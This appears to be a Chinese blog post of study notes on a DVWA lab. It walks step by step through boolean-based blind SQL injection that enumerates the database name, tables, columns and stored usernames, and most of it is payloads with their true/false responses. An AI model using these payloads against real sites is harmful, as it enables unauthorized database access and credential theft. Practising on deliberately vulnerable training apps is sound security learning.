SQL注入入门学习笔记:DVWA-SQL注入之布尔盲注

    一、判断注入类型
    1.输入1,结果为:User ID exists in the database.
    2.输入1',结果为:User ID is MISSING from the database.
    3.输入1 and 1=1#,结果为:User ID exists in the database.
    4. 输入1 and 1=2#,结果为:User ID exists in the database.
    第3、4步的结果一样,说明是字符型注入,而且是无回显。
    二、判断系统中有几个数据库
    1.猜数据库的版本
    输入:1'and left(version(),1)=5#
    结果为:User ID exists in the database.说明当前数据库系统的版本为5,而在5以上的版本中都自动带有系统数据库information_schema。
    2.输入1' and (select count(schema_name) from information_schema.schemata)>1#
    结果为:User ID exists in the database.
    3.输入1' and (select count(schema_name) from information_schema.schemata)>2#
    结果为:User ID is MISSING from the database.
    4.那么结果可能为2,输入1' and (select count(schema_name) from information_schema.schemata)=2#
    结果为:User ID exists in the database.
    所以,当前的数据库系统中有2个数据库,其中一个为information_schema,那么只需要猜另外一个数据库的名称即可。
    三、猜数据库名称的长度
    方法1:通过查询information_schema库中的schemata表中schema_name列获取。
    输入1' and (select length(schema_name) from information_schema.schemata limit 1,1) = 4#
    /*limit 1,1表示取第二个数据库名(limit从0开始计数),因为系统自带information_schema,所以从第2个开始查,可通过修改第一个参数来取其他数据库名*/
    /*通过修改最后的数据来猜解出数据库的长度*/
    结果为:User ID exists in the database.
    所以第2个数据库名称的长度为4。
    方法2:通过函数database()获取当前使用的数据库名称。
    输入1' and (length(database())) =4#
    结果为:User ID exists in the database.
    所以当前使用的数据库名称的长度为4。
    四、猜解当前数据库名称
    方法1:直接用database()来挨个猜
    输入1' and mid( database(),1,1 ) = 'a'#
    /* mid()函数用于截取字符串,第一个参数为要截取的字符串,第二个参数为开始截取的位置(从1开始),第三个参数(可选)为要截取的字符个数 */
    /* 如果字符相同则结果为:User ID exists in the database. */
    /* 如果字符不同则结果为:User ID is MISSING from the database. */
    /* 从字符a开始猜至Z,得出当前使用的数据库名称为:dvwa */
    方法2:通过查询information_schema库中的schemata表中schema_name列获取
    输入1' and ( select ascii( mid( schema_name,1,1 )) from information_schema.schemata limit 1,1 ) = 101#
    /* ascii(char)用于将字符char转换为ASCII码,如果参数是字符串,则转换第一个字母。可以用来避免PayLoad中出现引号 */
    /* 最终第一个字母为100、第二个字母为118、第三个字母为119、第四个字母为97时的结果为:User ID exists in the database. */
    /* 其他比对结果为: User ID is MISSING from the database.*/
    所以当前使用的数据库名称的长度为‘dvwa’。
    五、猜解数据库中有几张表  
 information_schema库中,tables表用于存放整个数据库系统里的表名,tables表中table_schema列存放所有的数据库名、table_name列存放所有的表名、column_name列存放所有的字段/内容(值),三列数据是互相对应的,这样就可以通过table_schema列来指定数据库。
    经过上一步得出了数据库的名称,如“dvwa”,那么
    输入1' and ( select count(table_name) from information_schema.tables where table_schema = 'dvwa' ) > 5#
    结果为:User ID is MISSING from the database.
    通过不断修改比对条件,当
    输入1' and ( select count(table_name) from information_schema.tables where table_schema = 'dvwa' ) = 2#
    结果为:User ID exists in the database.
    所以数据库dvwa中有两个表。
    六、猜解数据库中各表名称的长度
    输入1' and ( select length(table_name) from information_schema.tables where table_schema = 'dvwa' limit 0,1 ) > 5#
    结果为:User ID exists in the database.
    通过不断修改比对条件,当
    输入1' and ( select length(table_name) from information_schema.tables where table_schema = 'dvwa' limit 0,1 ) = 9#
    结果为:User ID exists in the database.
    所以数据库dvwa中第一张表名称的长度为9,同样的方法得出第二张表名称的长度为5,即
    输入1' and ( select length(table_name) from information_schema.tables where table_schema = 'dvwa' limit 1,1 ) = 5#
    结果为:User ID exists in the database.
    六、猜解数据库中各表的名称
    1.猜解第一张表的名称
    通过修改limit 0,1中第一个参数0来指定要猜解哪一张表,如limit 1,1是选定第二张表,以此类推。
    通过修改min( table_name,1,1)中第二个参数来指定要哪一个字符,1为第一个、2为第二个,以此类推
    输入:1' and ( select ascii( mid( table_name,1,1 ) ) from information_schema.tables where table_schema = 'dvwa' limit 0,1 ) > 97#
    经过比较,得出第一张表名称的第一个字符的ASCII码为103,即字母g,通过相同的方式得出其他字符为u、e、s、t、b、o、o、k。所以数据库dvwa中第一张表的名称为guestbook。
    2.猜解第二张表的名称
    输入1' and ( select ascii( mid( table_name,1,1 ) ) from information_schema.tables where table_schema = 'dvwa' limit 1,1 ) > 97#
    通过不断修改参数进行比较(limit 第一个参数,mid()第二个参数),得出第二张表的名称为users。
    所以,数据库dvwa中有两张表,名称分别是guestbook、users
    七、猜解数据库中某个表的字段数量 information_schema数据库中,columns表存放所有的字段信息,表中的table_schema列存放所有的数据库名称、table_name存放所有的表名称、column_name存放所有的字段。
    经过上一步得出数据库dvwa中共有guestbook、users两张表,以要查users表为例:
    输入1' and ( select count( column_name ) from information_schema.columns where table_name = 'users' and table_schema = 'dvwa' ) > 5#
    经过不断修改比对条件,得出user表中有8个字段。
    八、猜解数据库中某个表的各个字段名称长度
    以猜解数据库dvwa中users表的第四个字段名称长度为例:
    输入1' and  ( select length( column_name ) from information_schema.columns where table_name = 'users' and table_schema = 'dvwa' limit 3,1) > 5#
    /* 通过修改limit 第一个参数来指定要猜解第几个字段,从0开始计 */
    经过不断修改比对条件,得出数据库dvwa中users表的第四个字段名称长度为4。
    九、猜解字段名称
    经过上一步得出数据库dvwa中users表的第四个字段名称长度为4,那么就可逐个猜解出字段名称的各个字符
    以第一个字符为例
    输入1' and  ( select ascii( mid( column_name,1,1 )) from information_schema.columns where table_name = 'users' and table_schema = 'dvwa' limit 3,1) > 96#
    /* 通过修改mid()函数的第二个参数来指定要猜解第几个字符,从1开始计*/
    经过不断修改比对条件,得出数据库dvwa中users表的第四个字段名称的第一个字符为u,以同样的方法得出其余字符为s、e、r,所以数据库dvwa中users表的第四个字段名称为user。
   通过同样的方法得出数据库dvwa中users表的第五个字段(limit 4,1)名称为password。
   十、猜解指定数据库、指定表中的数据量
   以数据库dvwa中users表为例
   输入1' and ( select count(*) from dvwa.users ) > 6#
   经过不断修改比对条件,得出dvwa.users的数据量为5条。
   十一、查询数据
   以要查询数据库dvwa中users表的user字段为例,要查其第一条数据的第一个字符,则
   输入1' and ( select ascii( mid( user,1,1)) from dvwa.users limit 0,1 ) > 97#
   经过不断修改比对条件,得出dvwa.users的user字段中,第一条数据的第一个字符为a,通过修改mid的第二个参数来猜解其他个字符,分别为d、m、i、n。
   所以,数据库dvwa中users表的user字段中,第一条数据为admin。
   通过修改limit的第一个参数来猜解其他条数据,得出的结果分别为:gordonb、1337、pablo、smithy。
   

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值